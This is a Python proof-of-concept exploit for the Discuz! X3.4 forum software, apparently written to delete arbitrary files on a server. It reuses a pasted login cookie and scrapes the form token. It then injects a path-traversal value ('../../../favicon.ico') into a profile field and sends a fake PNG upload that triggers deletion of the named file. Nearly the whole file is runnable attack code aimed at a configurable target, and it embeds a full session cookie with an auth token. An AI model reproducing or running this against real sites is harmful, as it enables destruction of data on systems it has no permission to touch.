discuz_x3.4_remote_delete.py

#!/usr/bin/env python3
import re

import requests
import base64

sess = requests.Session()

target = 'http://localhost/discuzx/'
# login target site first, and copy the cookie here
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132__refer=%252Fdiscuzx%252Fhome.php%253Fmod%253Dspacecp%2526ac%253Davatar; Zy4Q_2132_seccode=3.ee6faae347f221826f; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_auth=24a2b6U%2Fo%2BQhaXgp1hnxu9OR%2FNKS4yC9GiDsrPz5zEy6b3veUTwjeAWkGiiYuOZDJ0G%2BARbJyMk05PxBghxG; Zy4Q_2132_nofavfid=1; Zy4Q_2132_home_diymode=1; Zy4Q_2132_sid=oew23N; Zy4Q_2132_checkpm=1; Zy4Q_2132_lastact=1506774337%09home.php%09misc; Zy4Q_2132_sendmail=1"
file_to_delete = '../../../favicon.ico'

path = 'home.php?mod=spacecp&ac=profile&op=base'
url = target + path

sess.headers.update({
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Referer': url})


# sess.proxies.update({'http': 'socks5://localhost:1080'})
# sess.proxies.update({'http': 'http://localhost:8080'})


def login(username=None, password=None):
    sess.headers.update({'Cookie': cookie})


def get_form_hash():
    r = sess.get(url)
    match = re.search(r'<input type="hidden" name="formhash" value="(.*?)"', r.text, re.I)
    if match:
        return match.group(1)


def tamper(formhash):
    data = {
        'formhash': (None, formhash),
        'profilesubmit': (None, 'true'),
        'birthprovince': (None, file_to_delete)
    }
    r = sess.post(url, files=data)
    if 'parent.show_success' in r.text:
        print('tamperred successfully')


def exploit(formhash):
    image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
    data = {
        'formhash': formhash,
        'profilesubmit': 'true'
    }
    file = {
        'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
    }
    r = sess.post(url, data=data, files=file)
    if 'parent.show_success' in r.text:
        print('exploited successfully')


if __name__ == '__main__':
    login()
    form_hash = get_form_hash()
    if form_hash:
        tamper(form_hash)
        exploit(form_hash)
    else:
        print('failed')